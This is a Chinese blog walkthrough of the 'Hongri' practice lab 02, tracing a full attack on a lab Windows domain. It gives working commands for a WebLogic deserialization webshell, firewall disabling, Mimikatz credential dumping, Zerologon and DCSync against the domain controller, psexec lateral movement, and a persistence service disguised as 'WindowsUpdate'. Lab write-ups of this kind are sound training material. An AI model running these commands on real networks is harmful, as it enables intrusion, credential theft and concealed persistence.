关于我

红日靶场02

红日靶场02

探索发现阶段(信息搜集)

已知外网IP:192.168.111.80,对其进行Nmap扫描

nmap -T4 -A -v 192.168.111.80
#使用-T4选项设置扫描速度为快速,-A选项启用操作系统检测、版本检测和脚本扫描,-v选项启用详细输出

结果如下:

PORT      STATE SERVICE      VERSION                                                   
80/tcp    open  http         Microsoft IIS httpd 7.5                                   
|_http-title: Site doesn't have a title.                                               
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-info: 
|   192.168.111.80:1433: 
|     Version: 
|       name: Microsoft SQL Server 2008 R2 SP2
|       number: 10.50.4000.00
|       Product: Microsoft SQL Server 2008 R2
|       Service pack level: SP2
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   192.168.111.80:1433: 
|     Target_Name: DE1AY
|     NetBIOS_Domain_Name: DE1AY
|     NetBIOS_Computer_Name: WEB
|     DNS_Domain_Name: de1ay.com
|     DNS_Computer_Name: WEB.de1ay.com
|     DNS_Tree_Name: de1ay.com
|_    Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-04-29T11:29:28
| Not valid after:  2054-04-29T11:29:28
| MD5:   0922:47cc:d252:0c16:f6c2:b016:a65c:5bba
|_SHA-1: a463:9836:8e4c:a84c:575d:f8a9:7dc8:4f66:4299:5f2a
|_ssl-date: 2024-04-29T12:41:08+00:00; 0s from scanner time.
3389/tcp  open  tcpwrapped
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2024-04-29T12:40:29+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-04-28T11:30:12
| Not valid after:  2024-10-28T11:30:12
| MD5:   95dd:c1e4:588c:7e02:f29a:c6c5:a523:dfa6
|_SHA-1: 4404:e395:da84:2b4c:8506:06af:c749:d40a:cff7:9bc6
|_ssl-date: 2024-04-29T12:41:08+00:00; 0s from scanner time.
7001/tcp  open  http         Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:65:23:E2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|specialized|general purpose
Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (94%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (94%), Microsoft Windows Embedded Standard 7 (93%), Microsoft Windows 8.1 R1 (92%), Microsoft Windows 7 (91%), Microsoft Windows Server 2008 or 2008 Beta 3 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows Server 2008 SP1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.050 days (since Mon Apr 29 07:28:28 2024)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-04-29T12:40:31
|_  start_date: 2024-04-29T11:29:55
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.81 ms 192.168.111.80

NSE: Script Post-scanning.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.02 seconds
           Raw packets sent: 2155 (99.940KB) | Rcvd: 31 (1.544KB)

根据结果可知服务器操作系统为Windows Server 2008 R2 - 2012,且开启了80、135、139、445、1433、3389、7001、49152、49153、49154端口

另外,有四个对外开放端口:

  • 3389:windows RDP服务
  • 1433:mssql服务(SQL server)
  • 80:默认端口
  • 7001:weblogic服务,版本为10.3.6

我们可以据此进行推测:

  • 445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞

  • 开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞

  • 放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令

  • 开放7001端口可能存在Weblogic反序列化漏洞

入侵和感染阶段(漏洞扫描与利用)

针对weblogic漏洞扫描

可以使用weblogicScanner对weblogic进行漏洞扫描:

python ws.py -t 192.168.111.80:7001

结果如下:

image-20240429212741803

由扫描结果可以得出,该服务器7001端口存在多个反序列化RCE漏洞,因此可以从这些漏洞入手进行相应渗透操作

反序列化漏洞攻击weblogic

这里尝试使用CVE-2019-2725进行漏洞利用

一开始尝试利用MSF上的payload,但反向连接一直失败

再尝试github上一个经过免杀处理的利用脚本:GitHub - black-mirror/Weblogic: Weblogic CVE-2019-2725 CVE-2019-2729 Getshell 命令执行

执行命令:

python weblogic_get_webshell.py http://192.168.111.80:7001

一把梭了:

2

脚本自动生成了一个webshell,由此可以实现任意命令执行,且当前权限为de1ay\administrator

尝试查看ip信息:

ipconfig/all

回显如下:

Windows IP 配置

   主机名  . . . . . . . . . . . . . : WEB
   主 DNS 后缀 . . . . . . . . . . . : de1ay.com
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : de1ay.com

以太网适配器 本地连接 2:

   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
   物理地址. . . . . . . . . . . . . : 00-0C-29-65-23-EC
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::d193:8f36:bb49:8d84%13(首选) 
   IPv4 地址 . . . . . . . . . . . . : 10.10.10.80(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 10.10.10.1
   DHCPv6 IAID . . . . . . . . . . . : 301993001
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
   DNS 服务器  . . . . . . . . . . . : 10.10.10.10
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   物理地址. . . . . . . . . . . . . : 00-0C-29-65-23-E2
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::4d1:cc13:79f2:4cb1%11(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.111.80(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.111.1
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
   DNS 服务器  . . . . . . . . . . . : 10.10.10.10
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

隧道适配器 isatap.{AD80CD23-D97F-4814-A715-9248D845EA0F}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是

隧道适配器 isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
 

由结果可知该web服务器存在双网卡:

  • 10.10.10.80
  • 192.168.111.80

并且存在域de1ay.com

执行systeminfo也可以发现存在域de1ay.com:

image-20240429223354077

尝试用ping来查看域控的IP:

?cmd=ping+de1ay.com

查看回显确认了DC的IP为10.10.10.10

查看一下后台:

?cmd=tasklist

发现后台存在360杀软

反弹连接上线CS

老规矩,使用CS生成一个反向连接的cmd的payload,传给我们的webshell,即可成功上线CS

image-20240506162241108

看见有些文章在这一步要进行免杀,但我可以直接反连,可能是因为webshell已经免杀处理过(留个疑问)

权限提升

虽然已经是admin权限,但尝试直接getsystem会寄掉,可能是360的原因

因为我的CS装了梼杌,使用ms014-058进行提权成功,获取到了system权限

image-20240506162241108

接下来将杀软和防火墙都关闭:

netsh advfirewall set allprofiles state off #关闭防火墙(梼杌插件也有该功能)
run killav #关闭杀软,失败了

尝试直接kill掉360也失败了:

taskkill /PID 3604 /F

image-20240506163656220

抓取操作系统凭证

使用CS上的Mimikatz套件读取本地密码和哈希

抓取到本机de1ay用户的明文密码:

image-20240506212951444

还抓取到了域用户mssql的明文密码:

image-20240506213155976

3389端口RDP登录weblogic服务器

在nmap扫描时,该主机的3389端口为开启状态,而我们已经获取了用户密码,可以直接进行远程登陆

探索感知阶段(内网信息搜集)

使用CS自带工具进行扫描

image-20240506214901745

可以发现域内存在3台主机:

  • 10.10.10.10(域控)
  • 10.10.10.80(外网主机)
  • 10.10.10.201( 域用户主机)

传播阶段(横向移动)

尝试使用域用户mssql身份进行psexec横向移动失败了,这里尝试使用zerologon漏洞来打DC

利用zerologon漏洞(CVE-2020-1472)攻击DC

netlogon是windows上的一个重要的功能组件,用于在域内网络上认证用户和机器,复制数据库进行域控备份,维护域成员与域、域与域控、域DC与跨域DC之间的关系

而Zerologon漏洞(CVE-2020-1472)指在NTLM认证过程中,使用netlogon安全通道与DC连接时,由于认证协议加密部分存在缺陷,攻击者可以将DC管理员用户密码设置为空,进一步实现密码哈希获取并最终获取管理员权限;成功利用该漏洞可以实现以管理员权限登陆域控设备,并进一步控制整个域

(漏洞详情见我博客另一篇文章,暂未发布)

首先需要将Mimikatz通过远程桌面上传到外网主机上,并运行Mimikatz检测是否存在Zerologon漏洞,在Mimikatz运行后使用命令:

lsadump::zerologon /target:DC.de1ay.com /account:DC$

image-20240610193452289

结果如图,漏洞存在

接下来直接利用:

lsadump::zerologon /target:DC.de1ay.com /account:DC$ /exploit

image-20240610193932512

结果如图,利用成功

接下来获取DC服务器的登录凭证:

lsadump::dcsync /domain:de1ay.com /dc:DC.de1ay.com /user:administrator /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm

image-20240610201231535

如图,我们获取到了域控服务器中Administrator用户的密码哈希:

e25bbe456dd96a635f4434511788e502

接下来即可通过MD5在线解密网站或hashcat对密码哈希进行解密,获得密码的明文:

hongrisec@2024

最后执行如下命令来恢复域控服务器的密码,防止域控服务器脱域:

lsadump::postzerologon /target:de1ay.com /account:DC$
使用PsExec将DC上线到CS

我们已经获取到了DC上Administrator用户的明文密码,我们可以尝试复用该口令进行横向移动

可以在CS中利用psexec连接DC:

  • 首先将获取到的DC的登录凭据添加到CS的凭据管理器中(view–credentials):

    image-20240610204719047

  • 接下来在外网主机的shell上创建跳板(pivoting–listener):

    image-20240610205037990

  • 使用psexec横向移动,使用我们创建的凭据:

    屏幕截图 2024-06-10 205310

  • 成功获取DC的shell且权限为system:

    image-20240610205619492

上线域用户主机

同理,我们可以通过psexec继续尝试横向移动:

image-20240610210731601

成功

至此我们成功拿下了内网所有主机

持久化(权限维持)与恢复(痕迹清除)

通过CS持久化控制服务器

对服务器getshell后,为了防止掉线,以及防止目标服务器重启后权限丢失,需要进行权限维持,这里可以选择使用创建service进行权限维持:

  • 首先生成一个artifact.exe用于上线服务器: image-20240610211441610

  • 将该exe通过CS文件管理功能上传至目标服务器的一个目录中

  • 执行命令开启一个名为WindowsUpdate的服务,该服务运行时便会执行artifact.exe连接CS

    sc create "WindowsUpdate" binpath= "cmd /c start "C:\文件路径\artifact.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
    

    image-20240610220714337

至此,我们完成了权限维持的操作,即使服务器重启,会话依然能够存在

恢复阶段

主要涉及对webshell、其他上传的文件的删除,以及清除系统日志等,达到清理渗透操作痕迹的目的

总结

在本次渗透过程中,涉及了如下知识点与操作:

  • weblogic反序列化漏洞的利用
  • 360安全卫士的绕过(感觉这个360十分鸡肋,没有对过程产生阻碍)
  • CS的各项功能
  • Zerologon(CVE-2020-1472)漏洞的利用

Created by Yuy0ung. Powered by GitHub Page.